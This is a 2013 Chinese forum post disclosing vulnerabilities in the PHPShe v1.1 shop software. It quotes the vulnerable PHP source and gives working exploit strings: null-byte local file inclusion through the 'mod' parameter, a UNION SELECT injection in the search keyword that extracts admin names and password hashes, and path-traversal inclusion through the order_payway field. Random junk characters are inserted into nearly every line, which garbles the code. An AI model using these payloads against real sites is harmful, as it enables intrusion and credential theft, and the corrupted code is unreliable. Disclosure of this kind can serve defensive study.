找回密码
 立即注册
查看: 2727|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
; y6 E7 H/ Y9 a, M* V/* Phpshe v1.1 Vulnerability6 p8 ^* C( d9 P% m
/* ========================4 J: \. i5 ]- B3 q9 S/ t
/* By: : Kn1f3
* O5 {0 Q# D# A# O/* E-Mail : 681796@qq.com
5 r- D5 ~- T  `; I5 s! B7 ~9 P/*******************************************************/
$ S2 H( g- m" L3 n( u0×00 整体大概参数传输
, k: Q' p$ J3 H) n9 n4 Q * t- t- s# J+ a" y  f4 }- ^

! e- i' @2 l" S1 s
/ Q2 z0 h. Q+ x
//common.php/ m5 B  ^2 Y& x8 s0 d
if (get_magic_quotes_gpc()) {
; g& i' m% a- Y5 e!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');$ d% w6 Y2 M$ A* g
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');- Q2 U% O# D: v
}
3 l& D# F, e* ~$ l# Q) u6 e/ helse {) p$ j% s, ^: K
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');  l6 W: \& }& f3 K; L" M
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
2 l8 U6 n: b# d' L2 }2 G- r" r}
0 Q- b7 t  k7 r1 [session_start();$ c7 a5 l% p* A* S
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');+ [7 ~5 S5 Q1 P  }
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
( O, q. D: w- e
& M. |0 F7 g3 e7 `" p% M6 y0×01 包含漏洞5 P. F  s+ T0 y/ p6 `. H, [7 Y

+ _4 v7 P$ x+ m9 O' |, q

# ]1 G2 O6 g8 f/ T5 \; I6 ]. @//首页文件
4 J5 K9 a9 J& J" l) ]+ b: L<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);: W& h/ ]; r  P2 I, F( L0 {; ]
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' L% w# f8 a, Z& Epe_result();
5 a/ G+ Y! ^; L8 X5 v?>* s5 R9 ?+ ~( T+ S: B
//common 文件 第15行开始6 P' x# _- b  p7 |3 i. ^2 I( B
url路由配置
/ I8 n7 \5 {, x2 E; @) ~$module = $mod = $act = 'index';
. P, d0 Z* b, Q$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
8 d# V8 t% Y8 W1 k6 G$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);+ e8 ?1 C9 k* H
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);" |" b/ q5 {; @
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00( ?# J; B1 @) _


. C/ ?# B, o) a# A $ B% r$ I6 _7 E# c4 l$ Q
0×02 搜索注入
: z: E( b2 S( j 1 X8 L: n1 y" x* K7 n2 C8 N" E, z
<code id="code2">

//product.php文件# H- i9 J% G& k- h" v( Q
case 'list':
' E5 m! K/ S# F7 `( I* _( {$category_id = intval($id);2 {+ u$ U5 K( P+ C& v* G; M
$info = $db->pe_select('category', array('category_id'=>$category_id));
" n& O0 n, w% @, p# g0 h2 g5 R//搜索; G0 o: t% `7 G
$sqlwhere = " and `product_state` = 1";
9 p4 B- M3 y% h; i3 Jpe_lead('hook/category.hook.php');: o% `$ |9 H( a
if ($category_id) {
1 S& q2 `% U5 e& dwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";9 n+ N2 r0 l: O/ G$ \: d! S8 @
}
5 g8 y2 |$ b8 U8 ^4 _, _5 c$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
. ?! L2 J: C  A$ Z1 Iif ($_g_orderby) {
6 f9 B2 x9 L  @) o: e% }$orderby = explode('_', $_g_orderby);/ t1 q0 l# I$ O8 W! \! P( [4 ?
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
5 ^5 x+ }; q5 A5 I! p}
  k! T% U( N8 V4 u* s7 `else {9 p) \; `2 t/ F/ P1 P) t
$sqlwhere .= " order by `product_id` desc";3 n# s; I. \9 _1 K
}
9 N. n& p: K0 W+ E. z3 s+ K2 V$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));' I3 V1 R: i( ^
//热卖排行4 r) y: [) j# h' v$ I
$product_hotlist = product_hotlist();
4 W3 n& ~$ K5 W//当前路径
% l" D# P' r" c( X$nowpath = category_path($category_id);4 P7 `' g" L6 o7 ^. \2 w
$seo = pe_seo($info['category_name']);
% G5 x' ?$ n- q; G8 G, Z9 Sinclude(pe_tpl('product_list.html'));
+ \; _* ~+ r; a! w//跟进selectall函数库# y1 n" ?" ^3 w) V2 ?( m
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())2 Y0 @$ e! ^& M
{# a6 N6 P6 |6 g
//处理条件语句* K  q6 `) f8 E1 r6 {: e6 O7 f
$sqlwhere = $this->_dowhere($where);/ z# P, V% P1 X' G6 Z5 ^
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);5 K- ^! h! e, H/ Z$ L
}9 W: @. [  F( u
//exp0 ^$ [' i/ D" B1 z) ^
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
3 k$ B& L: E6 n4 _

</code>( o0 F, r% A+ z& X! _
5 w* R) e) P; H5 d  ]0 r  ?8 b
0×03 包含漏洞2- x7 v0 ^# E6 B/ A0 `: }- `
% v& K/ ]* v2 T' b/ A
<code id="code3">

//order.php

case 'pay':

6 W" D/ c+ L# {+ F
$order_id = pe_dbhold($_g_id);

% z2 A' R3 O3 E; N. y# J& q% k7 G
$cache_payway = cache::get('payway');


$ v) m' c% v; J. `6 @0 Q1 m, lforeach($cache_payway as $k => $v) {


" ^3 X8 e/ D$ e4 H% T( c0 }1 h$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


: C& M. @- H: Y5 O: \9 [! Pif ($k == 'bank') {

5 R2 ]& R4 Y- c4 U7 i' w5 z$ t, H
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


$ K5 [& O- I9 b( @; F' @}


7 |+ i, R2 W% `- d( R}

* a$ a+ F1 n$ T6 R
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


9 G$ W) ^! o2 K$ ^9 q; O!$order['order_id'] && pe_error('订单号错误...');

7 J* i& }1 b# |; z
if (isset($_p_pesubmit)) {


, J; [' D& Z" I5 f) ~if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

! s; z( w* H* q- x) P' J( B' h! E
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


, e+ k" j) w" o' Pforeach ($info_list as $v) {


% X$ n' e4 k/ @: v- n7 ?$order['order_name'] .= "{$v['product_name']};";
/ h5 V, b/ ?$ @) i* C; {


' ~4 I3 V4 g- t6 S- d  [) S}

. t+ ~5 n; O7 a5 u
echo '正在为您连接支付网站,请稍后...';


# ]) a5 }" U# Oinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


; N" o  u3 [% g}//当一切准备好的时候就可以进行"鸡肋包含了"

9 U9 A6 Y) s1 S* R7 T9 t% O
else {

- I7 j8 B1 W+ R' {8 Y) @4 ~, v
pe_error('支付错误...');

( x8 R3 A( z8 M2 N5 s1 j$ N1 R
}


5 S- [/ x& W6 i$ B0 P+ H3 m, G}


% ?9 H+ ~: c5 [6 x5 X# ?- C" K4 p) u( c$seo = pe_seo('选择支付方式');


& \) ~6 l' o# M/ K; I& Einclude(pe_tpl('order_pay.html'));


3 ]8 W0 q, o& ?5 M1 T6 l7 Ubreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
3 c. y3 ?2 q/ o) n

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表